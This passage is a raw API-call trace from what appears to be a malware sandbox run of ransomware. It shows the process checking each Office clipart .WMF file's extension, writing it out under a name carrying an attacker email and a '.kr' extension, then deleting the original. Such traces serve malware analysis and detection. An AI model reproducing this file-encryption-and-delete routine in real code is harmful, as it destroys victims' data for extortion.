[0211.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString=".zip") returned 4 [0211.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.153] lstrlenW (lpString=".rar") returned 4 [0211.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString=".bz2") returned 4 [0211.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString=".7z") returned 3 [0211.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString=".dbf") returned 4 [0211.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString=".1cd") returned 4 [0211.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString=".jpg") returned 4 [0211.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.153] lstrlenW (lpString=".doc") returned 4 [0211.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString=".docx") returned 5 [0211.153] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.153] lstrlenW (lpString=".pdf") returned 4 [0211.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString=".xls") returned 4 [0211.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.154] lstrlenW (lpString=".xlsx") returned 5 [0211.154] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.154] lstrlenW (lpString=".ppt") returned 4 [0211.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.154] lstrlenW (lpString=".zip") returned 4 [0211.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.154] lstrlenW (lpString=".rar") returned 4 [0211.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString=".bz2") returned 4 [0211.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString=".7z") returned 3 [0211.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.154] lstrlenW (lpString=".dbf") returned 4 [0211.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.154] lstrlenW (lpString=".1cd") returned 4 [0211.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.154] lstrlenW (lpString=".jpg") returned 4 [0211.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.154] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.154] lstrlenW (lpString="J0107138.WMF") returned 12 [0211.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.155] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17200) returned 1 [0211.155] CloseHandle (hObject=0x574) returned 1 [0211.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0211.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.156] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.156] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0211.156] GetLastError () returned 0x0 [0211.156] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4330, lpOverlapped=0x0) returned 1 [0211.159] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4340, lpOverlapped=0x0) returned 1 [0211.160] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.160] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.160] SetEndOfFile (hFile=0x3f8) returned 1 [0211.160] CloseHandle (hObject=0x3f8) returned 1 [0211.160] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.160] SetEndOfFile (hFile=0x574) returned 1 [0211.163] CloseHandle (hObject=0x574) returned 1 [0211.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0211.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.164] lstrlenW (lpString=".doc") returned 4 [0211.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString=".docx") returned 5 [0211.165] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.165] lstrlenW (lpString=".pdf") returned 4 [0211.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString=".xls") returned 4 [0211.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.165] lstrlenW (lpString=".xlsx") returned 5 [0211.165] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.165] lstrlenW (lpString=".ppt") returned 4 [0211.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString=".zip") returned 4 [0211.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.165] lstrlenW (lpString=".rar") returned 4 [0211.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString=".bz2") returned 4 [0211.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString=".7z") returned 3 [0211.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString=".dbf") returned 4 [0211.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString=".1cd") returned 4 [0211.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString=".jpg") returned 4 [0211.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.165] lstrlenW (lpString=".doc") returned 4 [0211.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString=".docx") returned 5 [0211.166] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.166] lstrlenW (lpString=".pdf") returned 4 [0211.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString=".xls") returned 4 [0211.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.166] lstrlenW (lpString=".xlsx") returned 5 [0211.166] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.166] lstrlenW (lpString=".ppt") returned 4 [0211.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.166] lstrlenW (lpString=".zip") returned 4 [0211.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.166] lstrlenW (lpString=".rar") returned 4 [0211.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString=".bz2") returned 4 [0211.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString=".7z") returned 3 [0211.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.166] lstrlenW (lpString=".dbf") returned 4 [0211.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.166] lstrlenW (lpString=".1cd") returned 4 [0211.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0211.166] lstrlenW (lpString=".jpg") returned 4 [0211.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.167] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.167] lstrlenW (lpString="J0107146.WMF") returned 12 [0211.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.167] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=14996) returned 1 [0211.167] CloseHandle (hObject=0x574) returned 1 [0211.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0211.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.168] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.168] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0211.169] GetLastError () returned 0x0 [0211.169] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3a94, lpOverlapped=0x0) returned 1 [0211.435] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0211.437] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.437] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.437] SetEndOfFile (hFile=0x3f8) returned 1 [0211.437] CloseHandle (hObject=0x3f8) returned 1 [0211.437] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.437] SetEndOfFile (hFile=0x574) returned 1 [0211.441] CloseHandle (hObject=0x574) returned 1 [0211.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0211.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.442] lstrlenW (lpString=".doc") returned 4 [0211.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.442] lstrlenW (lpString=".docx") returned 5 [0211.442] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.442] lstrlenW (lpString=".pdf") returned 4 [0211.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.442] lstrlenW (lpString=".xls") returned 4 [0211.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.443] lstrlenW (lpString=".xlsx") returned 5 [0211.443] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.443] lstrlenW (lpString=".ppt") returned 4 [0211.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString=".zip") returned 4 [0211.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.443] lstrlenW (lpString=".rar") returned 4 [0211.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString=".bz2") returned 4 [0211.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString=".7z") returned 3 [0211.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString=".dbf") returned 4 [0211.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString=".1cd") returned 4 [0211.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString=".jpg") returned 4 [0211.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.443] lstrlenW (lpString=".doc") returned 4 [0211.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString=".docx") returned 5 [0211.443] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.443] lstrlenW (lpString=".pdf") returned 4 [0211.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.443] lstrlenW (lpString=".xls") returned 4 [0211.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.444] lstrlenW (lpString=".xlsx") returned 5 [0211.444] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.444] lstrlenW (lpString=".ppt") returned 4 [0211.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.444] lstrlenW (lpString=".zip") returned 4 [0211.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.444] lstrlenW (lpString=".rar") returned 4 [0211.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.444] lstrlenW (lpString=".bz2") returned 4 [0211.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.444] lstrlenW (lpString=".7z") returned 3 [0211.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.444] lstrlenW (lpString=".dbf") returned 4 [0211.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.444] lstrlenW (lpString=".1cd") returned 4 [0211.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0211.444] lstrlenW (lpString=".jpg") returned 4 [0211.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.444] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.444] lstrlenW (lpString="J0107254.WMF") returned 12 [0211.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.446] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=20212) returned 1 [0211.446] CloseHandle (hObject=0x574) returned 1 [0211.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0211.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.446] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.446] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0211.447] GetLastError () returned 0x0 [0211.447] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0211.449] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4f00, lpOverlapped=0x0) returned 1 [0211.450] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.450] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.451] SetEndOfFile (hFile=0x3f8) returned 1 [0211.451] CloseHandle (hObject=0x3f8) returned 1 [0211.451] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.451] SetEndOfFile (hFile=0x574) returned 1 [0211.454] CloseHandle (hObject=0x574) returned 1 [0211.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0211.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.455] lstrlenW (lpString=".doc") returned 4 [0211.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.455] lstrlenW (lpString=".docx") returned 5 [0211.455] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.456] lstrlenW (lpString=".pdf") returned 4 [0211.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString=".xls") returned 4 [0211.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.456] lstrlenW (lpString=".xlsx") returned 5 [0211.456] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.456] lstrlenW (lpString=".ppt") returned 4 [0211.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString=".zip") returned 4 [0211.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.456] lstrlenW (lpString=".rar") returned 4 [0211.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString=".bz2") returned 4 [0211.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.456] lstrlenW 